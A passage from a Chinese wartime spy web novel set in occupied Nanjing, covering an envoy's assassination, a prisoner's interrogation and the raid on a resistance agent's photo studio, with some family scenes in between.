黑木怎么也没有料到,他和梁洪之特使周启仁先生的第一次晤面,竟是以这样一种奇特的方式。 眼前的特使先生,脸上血肉模糊,双眼圆瞪,瘫倒在一辆黑色轿车的后车门的地上,已没有一丁点气息。离他的脑袋不远处,一顶呢绒礼帽静静地躺在地上,此时一阵微风拂过,礼帽在地上瑟瑟抖动。 他谢顶的脑袋下,是圆而发亮的额头,再往下,距离眉心一厘米处,出现了一个开放性的贯穿创口,很显然,子弹正是从此处穿透他的大脑,索取了他的性命。 勘察完周启仁的遇刺现场,黑木从马路中央退回到路边。 那位中佐立即走近黑木,刚想开口,黑木不耐烦地抬手制止了他。 他把眼光停在川上麻衣身上。 川上麻衣见状赶忙跑近黑木,双臂低垂,恭立一旁。 “川上中佐,说说到底发生了什么?” “我们的车队刚刚行进至此,从路边突然蹿出一辆小推车,硬生生逼停了特使的这辆专车,可是谁都没料到,那推车的男子忽然间就拔出手枪,朝着这辆车就一通射击,驾驶员当场被击毙……还是工藤君反应最为迅捷,他以最快的速度从第二辆车上跳了下来,左手抬枪,只用了一枪就将刺客射杀……”川上把目光扫向不远处伫立的工藤夕贵,继续道:“正当我们松了一口气、以为脱离险境的时候,忽然间从路南边的树林里闪出一队人马,开始向我们发动攻击……”川上指了指马路南侧的一片树林陈述道。 “对方有多少人?”黑木将目光掠过路南的松树林,徐徐问道。 “大概有七八名之多,松树林太稠密,具体人数没有看清。” “后来呢?” “后来我们所有人纷纷下车还击,两名随车保护特使的帝国士兵连忙掩护特使先生向我们靠拢,可是当特使刚刚跨下车,就遭到了对方的狙击,一枪毙命……”川上麻衣说着手指了指马路北侧不远处的一排房子补充说道:“敌人的狙击手应该埋伏在那里的房顶上,他的目标很明确,就是特使先生!” 黑木即刻又把目光聚集在路北一百多米处的一排房子上,脸上阴云密布。 “整个战斗过程,只持续了几分钟,对方看到特使已死,就毫不犹豫撤退了,转眼间就消失在树林中,我们的人追了上去,可他们已逃之夭夭……” 黑木站直身子,重新打量了一眼马路上的景况,眼光停在一辆邮政车上,半晌,黑木询问川上道:“周启仁坐在邮政车上好好的,为什么要把他安排上其它的车?” 静立在黑木身后的那名中佐终于找到了插话的机会,一腔怨气道:“我反复要求过,不要太张扬,可是你们的人竟然听不进我的意见!”那人越说越激动,“发生这样的事,让我如何向喜多诚一先生交差,又如何向梁洪之先生交差!这件事,你们南京松机关要负完全责任!” 黑木知道此人应是陪同周启仁同行的北平特务机关专员,听他说话颐指气使,火气便不打一处来,冷冷地道:“周启仁遇刺这件事,我很遗憾,我会亲自致电喜多诚一君,向他当面解释的!” 这句话,并未压下对方的愤懑,那人正要继续申辩几句,川上嫌恶地瞟了他一眼,提高声音道:“阁下一叶障目,不分是非,关于特使先生是否转乘专车,我特地求证过他,周启仁先生当时并无异议,且乐而为之!” 那名中佐不再吱声,又开始焦躁地来回踱步。 “好了,你们不要再争执了,一切等到回机关再说!”黑木喝道。 …… 冬天的夜晚来得特别早,阴霾天更是如此,才五点不到的样子,暮色已悄然而至。 忽然间就乌云压顶。 一行人乘车刚从中山东路拐上黄浦路,天空中低沉的云似乎再也兜不住厚厚的水气,大颗大颗的雨滴转眼间噼噼啪啪砸了下来。 黑木回到松机关,所要做的第一件事就是给喜多诚一去电致歉,并说明事情原委。黑木亲自草拟电文,言辞恳切委婉,字里行间透出七八分卑微。 雄心勃勃、志在必得的黑木瞳,在上任不到一月内,锐气已经不及当初,接二连三的挫折让他有些力不从心,尤其是文化泄密事件,朝野震动,竟连天皇都被惊着了,眼下,帝国的高层军官肯定在茶余饭后消费着他的失败,嘲笑着他的失误,这其中,怜悯者有之,观望者有之,而幸灾乐祸者更是不泛其人…… 黑木的清高与孤傲就这样一点一点被消耗殆尽,他甚至连比他低一个级别的北平特务机关的大佐都要亲自去电解释,且言辞如此小心翼翼,如此卑微不堪!不仅如此,那位陪同周启仁的北平特务机关专员言语间竟然对他有抱怨之意,这让他情何以堪! 本小章还未完,请点击下一页继续阅读后面精彩内容!但眼下的黑木不想横生事端,只想息事宁人,这些委屈也只能一个人独自吞咽下去。 黑木叫来稻田勇,让他将电文立即发给北平特务机关的喜多诚一。 稻田走后,黑木又想起另一事。 他拿起电话,拨通上海的总机,要求对方转接上海总领事馆的副总领事岩井英一。 今天的电话不比往常,居然非常畅通。 更让黑木欣慰的是,岩井英一就在线上,一接就通。 岩井英一听到电话中黑木的声音,先是一愣,黑木正待向他问好,对方旋而抢先说道:“黑木君,您的事我已经听说了!” 黑木明白岩井所指,分明是说那件惊动天皇的文化泄密事件,黑木的内心掠过一丝不安,不知此君接下来将会如何奚落自己,却听到对方关切说道:“出了这样的事,我很同情,但这件事我认为不能完全责怪阁下,帝国占领南京城不足一月,百废待兴,很多事情都需要我们一点一点去做,急功好利不是一种正确的态度!所以,在工作中暴露出一些问题这反而有益于我们查漏补缺,更利于我们有效地治理一座城市,况且,就拿上海来说,接管已将近四个月,不也是问题不断?” 黑木冰冷的内心很快被对方寥寥数语融化,这是最近一段时间黑木听到的最暖人心的话了,他一下子有了找到知己的感觉,正不知如何言谢,却闻岩井又道:“现在的敌我斗争形势还很复杂,黑木君千万别气馁!” 黑木呐呐道:“岩井君的鼓励让我信心倍增,在这件事上,我是有重大失误,是我太乐观了,我总以为在帝国的铁拳统治下,敌人会风声鹤唳,岂知……” 岩井英一忽然高声哈哈道:“自古至今,从来就没有一帆风顺的占领,越是严酷的压迫,反抗就越强烈!” “是啊,我有足够的耐心!” 岩井语气一转,“黑木将军找我一定有事吧?” 黑木于是连忙说明去电意图:“岩井君上次不是截获了一筒胶卷,不知阁下还记不记得?” “当然!黑木君想了解什么?” “我想向阁下核实一下照片的具体内容,我一直怀疑是我们内部人所为!” “黑木君有了新发现?” “现在已经锁定了一名嫌疑人,是我们一位区公所的所长,因此我想再了解一下详尽的细节!” 岩井侃侃说道:“这件事一传到我耳里,我就马上将上次截获的胶卷冲洗出来的照片从档案室调出来,亲自对照了一下《大公报》上的那篇报道……” “阁下发现什么啦?”黑木迫不及待问。 “这两组照片,完全是两种风格,绝对不是同一人所拍!” “为什么?” “我仔细分析了一下,这两组照片拍摄角度不一样,景深不一样,焦距也不一样……明显是两款不同的相机所拍,我手里的这组照片不是从大楼内部拍的,而是在图书馆外围拍的,好像是在图书馆外面的马路上拍的!” 听到这里,黑木心里有了初步判断。 放下电话,黑木静静地思索着。 岩井英一手头的照片取景于金陵图书馆外,且和《大公报》不是同一人拍摄,起码说明那组照片不是内部人所为,这也就意味着假如池碧疆是始作俑者,那么《大公报》上的那组照片确实是他所为。 想到此处,黑木心中五味杂陈,一时间悲喜交交。 悲的是,如果池碧疆确是潜伏在内部的敌人,则意味帝国辛辛苦苦成立的区公所的负责人居然和帝国同床异梦!喜的是,如果池碧疆确是潜伏在内部的敌人,那对于挖出这样的硕鼠,清除毒瘤,消除后患,可以减少帝国更大的损失! 正当黑木浮想联翩之际,他办公桌上的电话又响了。 打来电话的是老虎桥监狱的典狱长武内次郎上尉。 武内在电话中的第一句话就是:将军,您真英明,共党嫌犯“镰刀”扛不住了,他急切要求见您! 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第125章 忽生变故 就在黑木接电话的这么一会功夫,外面忽然飘起了鹅毛大雪。 这场大雪没有任何征兆,似乎是不愿惊扰大地上的人们,连落地的声音也悄无声息,它蹑手蹑脚闯入人间,试图用自身的洁白把一切罪恶和污秽遮掩起来。 江南雪,轻素减云端。 转眼间,大雪已经在极目处披上了一层薄薄的素装。 此时的黑木,内心抑制不住兴奋和激动。 老虎桥监狱典狱长武内次郎的话言犹在耳——共党嫌犯“镰刀”扛不住了,急于求见他! 这无疑是他最近听到的最振奋人心的消息了,这个消息犹如这场漫天的大雪,是上天赐予他的美丽天使,担负着神圣的使命,将数天来所有的不快和沮丧荡涤得干干净净,或者可以退一步说,这样的消息,起码熨平了他内心的挫败之感。 毕竟,这件事的成功,倾注了他黑木的智慧和心血,自己别具心裁的发明,居然在“镰刀”身上成果卓越!如果换成其他人,在如此短的时间内未必会有此奇效! 黑木是一个雷厉风行的特务机关领导者,他的座右铭就是:机遇稍纵即逝! 因而,既然机遇降临,他就必须以最快的速度去牢牢抓住它,否则一旦失去,那可能便永远的失去了。 黑木叫上了渡边雪奈等几位自己的心腹,在雪花飘飞的暮色中,乘着两辆轿车,立即向着老虎桥监狱飞驰而去! 轿车上的雨刮器发出刺耳的吱嘎吱嘎的声音,如同黑木此时忐忑不安的心情! …… 曲思秋自从上次和林赤驾车把父母从紫金山带进城,并送回三条巷的家后,一直未能得见他们,就连上次安排罗蔓去自己家休养,也没有亲自送她回家,而是给了罗蔓自己家的住址,并写了一封长信让罗蔓带给母亲柳兰,她在信中说明原委,让他们好生照顾那位可怜的姑娘罗蔓。 数天来,曲思秋思念父母,尤以近期为最。 这天傍晚,天色阴沉,诊所已没有病人,陶楚歌得到父母回家的信后也早早地归去与父母团聚。曲思秋掩上大门去悦颜照相馆串门,照相馆也没有生意,进门后发现房内只有林赤一人,林赤正四仰八叉地斜坐在椅子上,嘴里叼着一支烟,双腿翘起搁在身前的桌子上,整个人陷在袅袅的烟雾中。 见到曲思秋,林赤连忙放下双腿,将烟夹在手指间,给曲思秋拉来一张椅子,二人便侃起了大山,不知不觉就聊到她的父母曲怀齐夫妇,林赤表示了对他们的想念之情,聊着聊着林赤的双眼突然就莫名其妙地红了起来,曲思秋小心翼翼问他为何,林赤想了想还是告诉了曲思秋。 林赤说,他此次此刻非常思念自己的父母。 曲思秋于是依偎在林赤的怀里,两人足足有十来分钟一句话也没说,就那样静静地相拥。 再后来,二人不知何故又聊起了罗蔓姑娘,这时林赤才说道:“要不,你回去看看父母,再顺便看看罗蔓怎么样了……” 曲思秋这才决定回家看父母。 曲思秋回诊所锁上大门,正欲离开之际,忽然就下起了雨,雨越下越大,林赤跑出房间,驱车将曲思秋送到了三条巷的巷口,曲思秋挽留林赤,让他和自己一道回家,吃了晚饭再走,林赤摇头拒绝。 临别时,曲思秋蓦然产生想和林赤亲吻的念头。 于是曲思秋再次爬上了副驾驶座位,趴在林赤的胸前,把温润的嘴唇贴了上去。 这阵雨可以算得上是豪雨,这在往昔的南京城的冬日很是少见,大雨很快将轿车裹挟在雨帘之中,二人缠绵悱恻,很久不愿分开,直到雨住。 雨一停,林赤便让曲思秋抓紧时间回家。 告别了林赤,曲思秋踏上了返家的青石板巷子,再次回头,林赤已驱车绝尘而去。 就在此时,漫天的雪花飘飘洒洒而下,迷茫了曲思秋的眼睛,曲思秋鬼使神差后返回巷口,她探头张望,可已然看不到林赤的车了。 到了院子门口,曲思秋敲门,母亲柳兰前来开门,见是女儿,又欣喜又高兴,她紧紧地抓住女儿的双手,嘘寒问暖,这时父亲曲怀齐闻讯从房间里出来,他来到院中,才发现下雪了,忙问曲思秋是怎么回家的。 曲思秋如实相告。 曲怀齐于是责怪女儿,既然林赤都快到家了,好歹也一定让他吃完便饭再走不迟。柳兰立即插话,说她不知何故特别想念这个孩子。 紧接着,罗蔓从卧室跑出,一看是曲思秋,欢快无比,亲切地拉起曲思秋的手,向她问好并殷殷致谢。 柳兰把罗蔓安排在儿子曲思冬的卧室起居,曲思秋进了房间和罗蔓聊了一会后,罗蔓忽然就指着墙上的一张曲思冬的戎装照片问起了他的情况,当曲思秋说起和哥哥曲思冬紫金山东麓一别再未相见后,罗蔓也黯然神伤起来。 吃罢晚饭,曲思秋刚想帮忙收拾碗筷,被母亲制止,柳兰示意丈夫曲怀齐打理残局,自己拉着女儿进了她的房间。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!柳兰似乎有说不完的话要对女儿讲。 不过,所有的话题中,柳兰最关心的乃是女儿和林赤的关系进展到哪一步了。 在柳兰的心目中,这位曾被他们从死人堆里救起的大男孩除了样子俊朗外,还有很强的担当,从一个做母亲的角度来看,林赤是一个最适合女儿的不二人选。一旦谈到林赤,曲思秋也是芳心舒展,浑身每一个细胞都神清气爽,尽管作为一个女孩,很多念头对她而言都是私密,是埋藏在她内心最柔软处,但既然母亲相询,她却也不想藏藏掖掖,这种坦然自然是建立在对林赤的两情相悦的基础之上,绝无丝毫拖沓或勉强。父亲曲怀齐做完收尾的家务,也好奇地进了卧室,话只听到皮毛,便给曲思秋出主意。 “林赤这孩子,你可一定要把握住,如果可能的话,你们可以先结婚,毕竟你年纪也不小了!” 这个话题太直接,况且是出于父亲之口,曲思秋从来没有听到过父亲对她有过类似的言语,一时间,心中砰砰直跳,一缕羞赧地红色立即飞上了她的脸颊。 母亲柳兰看到女儿娇羞的表情,知女莫如母,知道她对林赤的情意是真切的,便跟着劝道:“这个女婿我认定了,你爸说得对,你们不妨结婚吧,但是我不知道他对你到底有没有那方面的意思?” 柳兰说完,询问的目光投向了女儿。 “他对你有意思吗?还是仅仅把你当成恩人的女儿,他对你的爱护是不是只止于一种友谊?或者是限于某种特殊的亲情?”柳兰再次探问曲思秋,她紧追这个问题不放,作为母亲,她有义务也有权利要分辨清楚该事情的实质! 曲思秋被她逼得无处可逃,不得已,趴在她的耳边私语道:“我们……我们之间都……亲吻过啦!”说完,曲思秋的脸红得更厉害了。 事情一旦定性,柳兰如释重负,心中已有分寸,一丝欢畅的笑意在脸上骤然绽放,倒是曲怀齐看到两位女人窃窃低语,似乎将他拒之圈外,大有不甘,好奇又沮丧地说道:“你们都说什么啦,能说给我听吗?好歹我也是秋儿的父亲,我有权了解啊!” “去去,没你什么事!”柳兰挥手驱赶丈夫。 作为父亲,女儿的终身大事,又如何能够置之度外?曲怀齐从母女二人的表情已然猜到了一半,索性跟着坐在了床边,继续发表见解道:“现在的时局,怎一个乱字了得!思秋,你是一个女孩子,逢此乱世,那是一定要找一个可以依靠的男人,并且,他还得有能力照顾你……我和你妈都是普通老百姓,你一人在外,我们很不放心,如果你能和林赤结婚,我们心中的石头也总算落地了,毕竟,他是一个优秀的男人,这一点我和你妈已经有了共识……” 柳兰在一旁拼命点头。 “现在结婚不合适!”曲思秋断然说道,“林赤和我都是有使命的人……”曲思秋说到这儿,知道自己说漏了嘴,马上改口道:“林赤有自己的抱负,在他的心中,国家重于一切!” 柳兰是一个细心的人,她抓住曲思秋说到一半的话不放,“你会有什么使命?你的使命就是给我们好好的,不要像你哥思冬,心思活络,从不安分守己,搞得我和你爸现在想见他一面都不容易……哎,也不知道他现在在哪里,过得怎么样?” 曲怀齐却是一个粗心的人,他继续从一个做父亲的角度给曲思秋出着主意,“你可要长个心眼,要经常给林赤敲敲边鼓,让他不能太莽撞,不管到什么时候,人的生命是最值钱的!况且,偌大的中国,有三千千万人,就凭他一个人爱国,也于大局无补!” “爸,你这是什么想法?如果人人都是你这样的心态,那么赶走小鬼子岂不遥遥无期?我可提醒你,以后千万别这么说,如果我哥在,他肯定会大肆批评你!” “好啦,我错了!”曲怀齐脸上流露出歉意,但嘴里继续道:“打鬼子最好是真刀真枪地干,就像林赤和你哥一样,需要用武器,又直接又过瘾,想当初,林赤那小伙子一个人一支枪就干掉好几个鬼子,后来又和你哥联手,那次一下子打死八九个,想想都痛快……所以,你哥拉队伍我骨子里是赞同的,怎么的也比如今在南京城里成天躲躲藏藏,放个冷枪,来个暗杀要强上百倍!” “我不和你谈这个话题,你就是个老顽固!”曲思秋霍地站起身,气呼呼说道:“我回去了!” 柳兰诧异道:“这么晚回去?外面下着雪呢,黑灯瞎火的,一个人又不安全,不行,我们做父母的不放心!” 曲思秋这时却严肃起来,“爸、妈,我一定要回去,诊所一个人都没有,万一夜间有个急诊什么的,现在求医的人特别多,我们是一家公益诊所,这是当初创办这家诊所的初衷,我必须赶回,我今晚抽空回家原本就是看望你们,根本没打算待上一宿!” 曲怀齐看女儿去意已决,不便强留,连忙说道:“要不,我送你回去!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“不用,我一个人反而方便,人多目标大。” 正说着,罗蔓从卧室跑出来,不失时机说道:“姐,我和你一起回吧,我们好有个照应!” 曲思秋迟疑道:“你的伤不碍事?” “已经好多了!况且,又不是什么大不了的伤……”罗蔓脸一红,补充道:“再说路我也很熟,我带你抄小路回去!” “也好,让罗姑娘陪你一同回去吧,这样我们心中也稍稍放心!”曲怀齐道。 “我收拾一下!”罗蔓不等曲思秋表态,一边说着一边跑回房间。 罗蔓很快收拾好衣服,出了房间对曲思秋微笑道:“以后我就在诊所里帮忙,给你打个下手,也算有事情可做!” 曲思秋向父母告别,临走前,罗蔓对曲怀齐夫妇深深鞠了一躬。 曲思秋于是牵着罗蔓的手,二人立即隐身于茫茫的风雪中。 和父母的这一通家常,根本没觉得时间过得很快,已是夜间十一点左右。 四五个小时下来,地上已铺上了一层厚厚的雪。 她们选择了一条小路,二人相携疾行在返回诊所的街巷中。 看不到一个行人,四下一片静寂,唯有脚踩在雪地上吱吱的声响。 半小时后,她们已经穿梭到利民诊所东侧的一条巷子中。 距离利民诊所门前的中山中路只相隔数百米。 风雪中,曲思秋依稀看到不远处的黑黝黝的建筑物,那是大华电影院。 二人这一阵狂跑,罗蔓在曲思秋的身后已经气喘吁吁。 曲思秋不由得放慢脚步。 二人背靠着巷中的一间房子的墙上,稍事休息一下。 无意中,曲思秋忽然看到与巷子直通的中山中路上,透出一丝光亮。 这光亮,自然是汽车的灯光。曲思秋起初并未在意,只是以为是过路的汽车射出的,却见光亮越来越强,紧接着,她听到纷杂呼啸的汽车马达声,车影从巷子尽头的马路上快速闪过,竟然不止一辆车,曲思秋心中默默数着,居然达到四辆之多。 经过短暂的休息后,罗蔓本想笨鸟先飞,看到前方绰约的车影,不由得止住了脚步。 曲思秋心中疑窦顿生,这么晚了,这条路上怎么会一下子冒出了如此多的车? 她忽然就有了不祥的预感! 思念及此,曲思秋马上拉起罗蔓的手,向前跑去。 可是当她们才跑出十来步,突然间前方传来纷乱而激烈的枪声! 这枪声划破了夜的静谧,把人们原本就残破的梦境撕得粉碎! 这枪声,尖锐刺耳,在这个苍茫的风雪之夜,像是困在夜网中渴望自由的生命,正仓皇而决绝地拼命挣脱着周身厚重的羁绊! 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第126章 大难临头 这枪声对于曲思秋而言,犹如行进的号角,她恨不得立即现身巷口,可以一窥究竟。 这枪声对于罗蔓而言,犹如索命的厉鬼,她本能地止步,尽量远离那让她惊惧的是非之地。 奔跑中,曲思秋觉得所牵之手越来越重,无暇多想,不由脱手,自己一人向前跑去。 短短数百米的巷子,竟然如此冗长,似乎怎么也走不到尽头,一霎那,曲思秋有种如入梦境的感觉,任凭自己如何努力,总也挣不脱层峦叠嶂的梦魇。 那一刻,曲思秋如坠冰窖,一股彻骨的凉意发端于心田,很快荡漾至全身,让她的肢体趋于僵化。 枪声越来越激烈,在风雪迷离的午夜豕突狼奔。 奔跑中,不知何时,枪声忽然消失了,剩下的,是喧嚣,是嘈杂,是纷乱的脚步声,以及鼎沸的人流声。 曲思秋隐身在巷口,在数辆未熄火的汽车大灯光的映衬下,她赫然看到斜对面一家店铺招牌上的几个大字:悦颜照相馆。 此刻这个由自己命名的店铺门前,黑影绰约,单单外围,就有十数名之多,依稀看到他们手里握着的枪支散发出寒光,其中某一辆汽车的大灯光直接逼射着照相馆大门,大门洞开。在不远处的马路中央,一辆轿车的旁边,几个黑影从容有余地静观着眼前发生的一切。 这几个人,便是今晚行动的指挥者、松机关的机关长黑木瞳将军和他的几位爱将,其中就有少佐渡边雪奈。 …… 今晚的抓捕由松机关机关长黑木将军领衔,他调集了松机关行动处的所有队员,并亲自带队。 自老虎桥监狱的典狱长武内次郎第一时间内报告了“镰刀”的动态,他一刻没停息,立即带着渡边雪奈数人直扑老虎桥监狱,抵达后,他马不停蹄提审了“镰刀”。 “镰刀”已没有了往昔的孤傲,这位年轻人双目中流露出满满的沮丧,在黑暗的柜子中独居了数小时后,他又冷又饿,心里防线已经不攻自破。黑木只是用冷冷地目光打量了他一眼,他便陆陆续续说出了一切。 “镰刀”的招供尽管昭示了此次战役的胜利,但黑木却没有获胜的喜悦。 眼前的“镰刀”并非共党镰刀,而是一个伪装者,他的真名叫钱瑾余,他存在的意义只是为了掩护真正的共党江苏省委一号首长镰刀潜入南京城,更让黑木啼笑皆非的是,眼前的这名犯人,连个共党身份都不是,居然隶属重庆方面,这样的结果多少有点让黑木哑然失笑,他做梦也没想到,一向摩擦连连、嫌隙不断、睚眦必报的国共两党竟然在这件事上,相互合作了!刹那间,原本心情大好的黑木内心失落异常,有时候,人还是活在谎言中要开心得多,自从上次燕子矶码头精心布置的抓捕行动结束后,黑木本以为逮住了一个共党大鱼,岂料时至今日,却得到了一个充满了戏剧性的结果! 这意味着真正的镰刀安然无恙,他躲过了抓捕,已经潜入南京城。 这意味着,如果想要重新抓住镰刀,眼前的这位年轻人,成了和他的唯一联系。 熄灭的希望再次燃起,在黑木咄咄逼人的审问下,钱瑾余陆续说出了一切。 ——我累了!这是钱瑾余说的第一句话。 ——整个事件的策划者名叫林赤,原是国军的一名上尉军官,参加过南京保卫战,和帝国军队面对面战斗过,南京陷落后,他潜伏了下来,并一跃成为重庆方面的南京情报站负责人,是一名优秀的特工人员,能力卓越,尤其枪法堪称一流,并作为狙击手,参与了燕子矶码头抓捕镰刀行动中的狙击,现在看来,帝国王牌狙击手工藤夕贵手臂上的枪伤正是拜此人所赐! ——钱瑾余原是国民政府复兴社培养的一名安插在军中的特工,在军中担任连长之职,率部参加了南京外廓阵地的阻击战,战败后流窜在南京城东郊一带,后潜入城里,和复兴社一名代号“钉子”的接上了头,后来出城参与组建了紫金山的华帮抗战大队,副大队长名叫曲思冬,是原国军南京城防司令部的一名少校营长。 ——“钉子”确有其人,这点,好多天前,李泉投诚后就有过交代。 ——自华帮抗战大队成立后,钱瑾余本人参与了在马群镇袭击并劫持了帝国的运书车辆、袭扰了尧化门帝国军队的驻地,抢夺给养等事件。 ——在黑木带队对紫金山东麓的那次清剿行动中,华帮抗战大队被迫转移,之所以能够安然脱险,完全是因为林赤投掷的两颗手雷,为他们的全身而退赢得了宝贵时间,那之后,华帮抗战大队生存空间被极度挤压,不得已向镇江一带茅山地区转移,而曲思冬和他的队伍极有可能已和共党的抗战先遣队合流,他钱瑾余因志不同不相为谋,重新潜入城,找到林赤,寻求新的任务。 ——在他和林赤见面后,接受的第一件任务就是伪装成镰刀,从下关的草鞋峡渡船进入燕子矶码头…… ——钱瑾余接下来的交代让黑木触目惊心,这居然原本就是一个阴谋,是林赤想利用镰刀潜入的机会,借助共党之手,让钱瑾余以“镰刀”的身份被己方捕获,然后再找一个恰当的时机诈降……林赤特地反复叮嘱,一定要咬牙坚持扛过己方的三轮以上酷刑,这样诈降才逼真,也会更有意义,不会弄巧成拙! 本小章还未完,请点击下一页继续阅读后面精彩内容!…… 钱瑾余的交代合理地解释了重庆方面为何与延安方面纠缠在了一起的原因,但同时也让智虑深远、老奸巨猾的黑木疑虑重重! 这会不会是钱瑾余的投掷的烟幕弹?是为了掩饰自己诈降的真正意图? 可是,如果他的真正意图是诈降,那么,他完全可以不用交代这个细节,他只要直接交代出自己所掌握和所了解的一切,不一样可以获得自己的信任?这个细节难道不是在变相地提醒自己,让他黑木仔细推敲他的动机是否纯粹?坦白这样的细节,难道不是画蛇添足?和掩耳盗铃又有什么区别?坦白这样的细节,难道不是让他黑木更加怀疑他的诚意? 如果对方想用这个细节来获得自己的信任,不是反而增加了难度? 一瞬间,黑木的大脑一片混乱。 审讯室燥热难耐,黑木听到这里,走出了审讯室,在阴冷的走廊里待了足足有五分钟。 他需要冷静地捋清这其中的所有环节! 再次回到审讯室,黑木已觉得思路清晰。 这个叫钱瑾余的中国人,如果真正的目的是诈降,要么愚蠢至极,要么可怕至极。 黑木设身处地想了一下,如果这件事让自己策划布局,那也决不能犯如此低级的错误!他仔细端详着眼前的年轻人,怎么也不认为他有如此深谋远虑的智慧! 当下的黑木,只需要了解最后一个问题,那就是此时此刻,钱瑾余的内心独白。 “钱先生,你为什么不顺水推舟假戏真做,伪装成一个真正的潜伏者?这样于你的国家、于你的民族,以及你所肩负的任务,那都会是一个很好的交待啊!何乐而不为呢?你要知道,你假如不挑明这件事,或许在今后会成为帝国的栋梁,成为松机关的中流砥柱,你既然挑明了意图,我又怎么可能重用你呢?万一你暗度陈仓,那岂不是埋在我们身边的一颗定时炸弹?!” 钱瑾余心气已无,萎靡不振说道:“我真的很累了,一个多月来,我东奔西逃,饥餐露宿,见了太多的死亡,很多死亡,都是无谓的,没人会记得我们,我只是一个小人物,对于民族大义,我实在无力介入,只想安安静静地苟活下去……” “你怎么会忽然有这样的想法?是什么让你产生了如此巨大的转变?”钱瑾余的回答让黑木依旧无法释疑。 “自从我被你们塞进了那具柜子,我的四周漆黑一片,耳边是纷扰的噪音,那一刻我几乎疯了,我的脑袋几乎贴着我的身体,动弹不得,浑身一丝不挂,我好多天没有洗澡了,我的鼻孔嗅到自己身体散发出陈腐的气味,我忽然间觉得自己和待在棺材里面没有什么区别……我于是开始思考生命的意义,突然就意兴阑珊起来,往事如过眼云烟一幕一幕在我脑海中闪现,人的生命在这个时候显得太渺小,太微不足道……我所说这一切,将军可以怀疑,我根本不指望下辈子能够风生水起,只求您留我一条性命,让我了此余生……” 黑木听到这里,心中松了一口气。看来,自己别具一格设计的黑箱子的刑具,确实可以剥夺犯人的尊严,让他们感知来自灵魂深处人性赤裸裸的战栗!改天一定要写一份心得,将这样的刑罚在帝国的特务机关大加推广,必建奇效! 黑木趁热打铁继续问道:“你还知道什么?” “你们不是要抓真正的‘镰刀’吗?有个人一定知道镰刀的信息,而这个人也一定是你们感兴趣的,通过他,不但可以一举铲掉重庆方面设在南京的情报网络,还可以了解一些共党在南京的相关情报。” “你是说和你单线联系的林赤?他在哪里?” “中山中路的悦颜照相馆,在大华电影院的马路对面,这个时候,他准在!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第127章 雪夜抓捕 当瑟缩在刑椅上,整个人愈发显得颓废的钱瑾余嘴里一说出悦颜照相馆的地址后,黑木将军立即带着渡边少佐大步出了第一审讯室。 渡边少佐对悦颜照相馆很熟悉,那是由南京自救会陶天阙会长筹备所开。 二人快步来到典狱长武内的办公室。 渡边雪奈马上电话通知了松机关行动处的所有在岗队员,让他们快速集结,并以最快的速度前往老虎桥监狱的大门口与他们汇合。 风雪之夜,风雪迷离。 半小时后,黑木和他的队伍汇合。 黑木根据钱瑾余对目标区域的描述,以及渡边对店铺结构的绘制,详细布置了任务,并进行了分工。 黑木给他的队员提出了明确的指示:不惜一切代价,活擒敌人! 一切安排妥当后,黑木带着将近二十名队员直扑中山中路的悦颜照相馆。松机关所有的男男女女们见是机关长亲自带队,一个个亢奋异常,像是打了鸡血一样。 在距离悦颜照相馆数百米远,为了不惊动照相馆的嫌疑人,黑木命令所有抓捕人员下车,先行潜入,将照相馆迅速包围,并原地待命!数分钟后,黑木估计打前站的队员已到达指定地点,这才让剩余人员立即驱车行进! 按照预先的部署,屋前屋后埋伏的队员已将照相馆包围得水泄不通。 只要嫌犯还在照相馆里,他插翅难飞! 伴随着汽车的急刹声,黑木一声令下,抓捕行动随即展开。刹那间,早就候在门口的三名精心挑选的队员手握手枪,同时抬脚踹向大门,整扇大门轰然倒塌,强行破门后,三人借助汽车的灯光即刻冲进房间内。 黑木最担心的就是嫌疑人持有枪支。 果然,担心的事旋即发生,当首批三人刚冲进店内,立即传来枪响。从枪声可以判断,这是对方先发制人,很快,枪声越来越激烈。 在这过程中,增援的队员前赴后继扑向房间。 此时的黑木将军和渡边少佐站在马路中央的一辆轿车旁,冷眼旁观着此次抓捕行动!呼啸的枪声让黑木不忧反喜,这充分说明了他们这次行动并未扑空,所要抓捕的对象正在困兽犹斗,同时也进一步说明了钱瑾余的交代是真实而可信的。 现在,成功抓捕那位名叫林赤的特工只是时间和代价问题。 表面来看,黑木从容有余,内心却是如翻江倒海。 连日来,挫摆不断,打击连连,他太渴望一次彻底的胜利来重塑信心,在黑木的骨子里已不允许再出现任何意外! 所幸的是,这样的煎熬随着渐渐稀落的枪声很快消散。 抓捕行动水落石出,一人被从房子里押解出来,汽车的灯光照在他的腰部以下,看不清他的脸,更看不清他此时的神情,只看到他身后拖曳的长长的影子。 今晚的抓捕,松机关以死亡一人,重伤三人的代价换取了该行动的全面胜利。 幸存的队员立即散向四周警戒,押解的队员把嫌犯带到一辆汽车前,停滞原地,等待着黑木的进一步指示。 黑木带着渡边饶有兴趣地走向前去,他拧亮手里的手电,一束刺眼的光亮射向了捕获的“猎物”的脸庞。 聚集的光束下,黑木和渡边几乎同时惊讶地“咦”了一声。 他们看到了一张似曾相识的年轻的脸庞。这张脸,应该在什么地方见到过,印象中还应该很熟稔,可是黑木却一时想不起来了。 渡边也在端详着这张年轻的脸,她的大脑在快速地思索着。 眼前的青年男子似乎是刚刚经历了一场剧烈的运动,微喘着气,额头上沁着汗水,头发湿漉漉一片,紧贴着脑门,就这么在外面站了一会儿功夫,他的发际已粘上不少雪花。他挺拔的鼻尖上的汗珠闪现出亮晶晶的光芒,俊朗的脸上棱角分明,手电炫目的光束让他睁不开眼睛,他不得不极力地瞪大着眼睛,尽量正面迎向众人的注视,并让自己显得精神抖擞,他微蹙着眉头,双眸中除了透射的冷冷的光芒外,居然还夹带着一丝丝轻蔑…… 就是这种轻蔑地神情,忽然让渡边一下子彻悟。 她终于想起了对方的身份!那是在若干天前的一个夜晚,记忆中也有雪的存在,在国际安全区的金陵女子文理学院的操场上,他被绑在那根铸铁旗杆上,他衣着单薄,瑟瑟发抖,她从一名士兵的身上抽出一根皮带,对他进行了雨点般地鞭笞,直到她精疲力竭,直到他的上身血迹斑斑,即便如此,可是他也并未屈服,在那盏苍白的灯光下,从他眼里射出的也是这般轻蔑地目光。 